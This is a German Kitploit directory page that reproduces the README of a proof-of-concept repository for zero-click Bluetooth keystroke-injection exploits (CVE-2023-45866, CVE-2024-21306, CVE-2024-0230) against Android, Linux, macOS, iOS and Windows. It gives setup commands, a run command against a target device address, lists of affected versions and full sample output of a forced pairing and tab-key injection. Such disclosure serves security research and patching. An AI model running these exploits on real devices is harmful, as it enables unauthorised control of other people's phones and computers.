Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
hi_my_name_is_keyboard — Exploit-PoCs zur Bluetooth-Keystroke-Injection für CVE-2023-45866, CVE-2024-21306 und CVE-2024-0230, die über emulierte HID-Tastaturen auf Android, Linux, macOS und iOS abzielen. | Kitploit
Tools/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
Android-SicherheitBluetooth-SicherheitiOS-SicherheitExploitationDrahtlose SicherheitMobile SicherheitHardware- & IoT-SicherheitAdversarial-Angriff

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

Exploit-PoCs zur Bluetooth-Keystroke-Injection für CVE-2023-45866, CVE-2024-21306 und CVE-2024-0230, die über emulierte HID-Tastaturen auf Android, Linux, macOS und iOS abzielen.

Repository anzeigen
73111324vor 2 JahrenVon Kitploit geprüft

Hi, mein Name ist Tastatur

Dieses Repository enthält Proof-of-Concept-Skripte für CVE-2023-45866, CVE-2024-21306 und CVE-2024-0230. Weitere Details finden Sie im Blogbeitrag.

Proof of ConceptBeschreibung
Android Keystroke InjectionErzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem verwundbaren Android-Gerät und injiziert 10 Sekunden lang tab-Tastendrücke.
Linux Keystroke InjectionErzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem Linux-Host und injiziert 10 Sekunden lang tab-Tastendrücke.
macOS Keystroke InjectionErzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem macOS-Host und injiziert Tastendrücke, um einen Webbrowser zu öffnen und eine Google-Suche durchzuführen.
iOS Keystroke InjectionErzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem iOS-Host und injiziert Tastendrücke, um einen Webbrowser zu öffnen und zu einer URL zu navigieren.
Windows Keystroke InjectionErzwingt die Kopplung einer virtuellen Bluetooth-Tastatur mit einem Windows-Host und injiziert tab-Tastendrücke.
Magic Keyboard Link Key via Lightning PortLiest den Bluetooth-Link-Key vom Lightning-Anschluss eines Magic Keyboards.
Magic Keyboard Link Key via BluetoothLiest den Bluetooth-Link-Key aus dem nicht authentifizierten Bluetooth-HID-Dienst des Magic Keyboards.
Magic Keyboard Link Key via USB Port on the MacLiest den Bluetooth-Link-Key für ein Ziel-Magic-Keyboard, indem die Tastatur über USB gegenüber ihrem gekoppelten Mac vorgetäuscht wird.

Abhängigkeiten

Die Skripte funktionieren bekanntermaßen auf einem Ubuntu-22.04-Host mit einem Bluetooth-Adapter auf Broadcom-Basis.

Ich habe hauptsächlich diesen Adapter verwendet: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

Ausgehend von einer sauberen Installation von Ubuntu 22.04 können die Abhängigkeiten mit den folgenden Befehlen installiert werden.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Tastatureingabe-Injektion

Android-Tastatureingabe-Injektion

Android-Geräte mit einem Sicherheitspatch-Stand vor 2023-12-05 sind anfällig.

Wenn Bluetooth auf einem nicht gepatchten Android-Gerät aktiviert ist, kann ein Angreifer eine emulierte Bluetooth-Tastatur koppeln und Tastatureingaben injizieren, ohne dass der Benutzer dies bestätigen muss. Dies ist ein Zero-Click-Angriff, der funktioniert, wann immer Bluetooth aktiviert ist.

Betroffene Versionen

Diese Sicherheitslücke betrifft Android ~4.2.2 und später.

  • Android 4.2.2 - 10 werden nicht gepatcht
  • Für Android 11 - 14 sind Patches verfügbar (Sicherheitspatch-Stand 2023-12-05)
  • Pixel 6, 7 und 8 wurden gepatcht
  • Pixel 5 und ältere bleiben anfällig

Ausgangszustand

  • Bluetooth ist auf dem Ziel-Android-Gerät aktiviert

Ausführen des PoC

Führen Sie den PoC aus, der auf das Android-Gerät 5C:F3:70:AA:07:BD mithilfe der Schnittstelle hci1 abzielt.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

Im Erfolgsfall injiziert der PoC 10 Sekunden lang eine Nutzlast aus `tab`-Tastenanschlägen.

#### Beispielausgabe```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Linux-Tastatureingabe-Injektion

Linux-Hosts, auf denen BlueZ 5 läuft, sind verwundbar, bis Patches etwa im Dezember 2023 ausgerollt werden. Die genauen Versionsnummern hängen von der Linux-Distribution ab.

Wenn ein nicht gepatchter Linux-Host über Bluetooth auffindbar und verbindbar ist, kann ein Angreifer eine emulierte Bluetooth-Tastatur koppeln und Tastatureingaben injizieren, ohne dass der Benutzer bestätigt. Dies ist ein Zero-Click-Angriff, der funktioniert, wann immer der Host auffindbar und verbindbar ist.

Betroffene Versionen

Es wird davon ausgegangen, dass diese Sicherheitslücke nicht gepatchte Linux-Distributionen betrifft, die die Standardkonfiguration von BlueZ 5 verwenden.

Google gibt an, dass ChromeOS von dieser Sicherheitslücke nicht betroffen war, und obwohl ChromeOS im Rahmen dieser Forschung nicht getestet wurde, scheint die BlueZ-Konfiguration von ChromeOS den Angriff zu verhindern.

Zu den betroffenen Distributionen gehören Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto und Amazon Linux. Mehrere Versionen können betroffen sein; Ubuntu beispielsweise hat 16.04, 18.04, 20.04, 22.04, 23.04 und 23.10 gepatcht.

Ausgangszustand

Tool herunterladen